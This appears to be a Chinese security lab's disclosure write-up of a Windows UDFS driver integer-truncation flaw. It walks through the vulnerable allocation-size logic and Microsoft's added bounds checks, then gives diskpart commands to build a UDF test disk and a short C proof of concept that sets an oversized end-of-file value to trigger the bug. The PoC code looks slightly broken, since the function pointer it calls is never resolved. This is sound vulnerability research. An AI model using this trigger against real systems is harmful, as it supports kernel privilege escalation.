CVE-2026-40409 UDFS的整数截断漏洞分析
原创
毕方安全实验室
毕方安全实验室
BeFun安全实验室
2026年6月29日 17:53
四川
在小说阅读器读本章
去阅读
CVE-2026-40409 UDFS的整数截断漏洞
漏洞分析
MSRC在6月修复了两个udfs.sys的漏洞,其中一个是由我们提交的,简单来说就是某个结构体里的一个64位变量,后面用的时候是截断为32位用的,但是另一个位置又用的64位,造成了上下文不一致,导致内核可以对一个用户指针进行解引用,进而触发权限提升。
漏洞位于udfs!UdfSetFileAllocationSize:
在 UdfSetFileAllocationSize 中,驱动使用卷参数将请求的文件大小换算为逻辑块数,核心逻辑可以概括为:
c
RoundedBlockCount =
ALIGN\_UP(NewFileSize, Vcb->BlockSize) >> Vcb->BlockShift;
在我的分析环境中:
Vcb->BlockSize = 0x200Vcb->BlockShift = 9
例如:
text
NewFileSize = 0x0000080000008200
RoundedBlockCount = 0x0000000400000041
RoundedBlockCount 随后被写入 SCB 中多个 32 位字段,包括AllocatedBlockCount``AllocationSyncBlockCount
这一步会发生 64 位到 32 位截断。例如:
text
0x0000000400000000 -> 0x00000000
0x0000000400000041 -> 0x00000041
与此同时,同一 SCB 中多个 64 位大小字段仍会保留原始大值,包括FileSize``ValidDataLength``AdsFileSize
于是驱动进入如下不一致状态:
AllocatedBlockCount``AllocationSyncBlockCount
已被截断
* FileSize``ValidDataLength``AdsFileSize
仍是超大值
修复
在SCB结构体使用的地方都加了类似的检查:
c
if (Feature\2146947386\\_private\_IsEnabledDeviceUsageNoInline()) {
if (new\_size < 0 ||
new\_size > (0xffffffffLL << vcb->SectorShift)) {
return STATUS\_INVALID\_PARAMETER;
}
}
| 地址 | 函数 | 作用 |
|---|---|---|
0x14004d84f |
UdfSetFileAllocationSize |
设置 EOF / allocation size 前校验新文件大小 |
0x1400585a9 |
UdfInitializeScbFromIcbContext |
从磁盘 ICB 初始化 SCB 时校验 ICB 文件大小 |
0x140053592 |
UdfInitializeAllocations |
初始化 allocation 时校验 SCB 文件大小 |
0x1400538b3 |
UdfInitializeAllocations |
遍历 extent 后校验累计大小 |
0x14000333c |
UdfCommonWrite |
写入扩展 EOF 路径校验 end offset |
0x1400108ae |
UdfDasdWrite |
DASD 写路径校验写入区间 |
复现
使用以下命令创建一个udf虚拟盘:
Code
mkdir C:\temp 2>nul & (echo create vdisk file=C:\temp\udf-test.vhdx maximum=100 type=fixed&echo select vdisk file=C:\temp\udf-test.vhdx&echo attach vdisk&echo create partition primary&echo assign letter=D&echo exit) > C:\temp\udf-diskpart.txt & diskpart /s C:\temp\udf-diskpart.txt & format D: /fs:UDF /q /y
使用以下命令清理:
Code
(echo select vdisk file=C:\temp\udf-test.vhdx&echo detach vdisk&echo exit) > C:\temp\udf-cleanup-diskpart.txt & diskpart /s C:\temp\udf-cleanup-diskpart.txt & del /f /q C:\temp\udf-test.vhdx C:\temp\udf-diskpart.txt C:\temp\udf-cleanup-diskpart.txt
poc
c
typedef struct \_FILE\_END\_OF\_FILE\_INFORMATION {
LARGE\_INTEGER EndOfFile;
} FILE\_END\_OF\_FILE\_INFORMATION, \*PFILE\_END\_OF\_FILE\_INFORMATION;
typedef NTSTATUS(NTAPI \*PNtSetInformationFile)(
HANDLE FileHandle,
PIO\_STATUS\_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE\_INFORMATION\_CLASS FileInformationClass
);
int main(int argc, char\\ argv) {
HANDLE file = CreateFileA(
argv[1],
GENERIC\_READ | GENERIC\_WRITE,
FILE\_SHARE\_READ | FILE\_SHARE\_WRITE,
NULL,
OPEN\_ALWAYS,
FILE\_ATTRIBUTE\_NORMAL,
NULL);
if (file == INVALID\_HANDLE\_VALUE) {
printf(\"[-] CreateFileA failed: %lu\
\", GetLastError());
return 1;
}
FILE\_END\_OF\_FILE\_INFORMATION eofInfo;
IO\_STATUS\_BLOCK iosb;
ZeroMemory(&iosb, sizeof(iosb));
eofInfo.EndOfFile.QuadPart = 0x0000080000000000LL;
NTSTATUS status = NtSetInformationFilePtr(
file,
&iosb,
&eofInfo,
sizeof(eofInfo),
FileEndOfFileInformation);
CloseHandle(file);
}
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论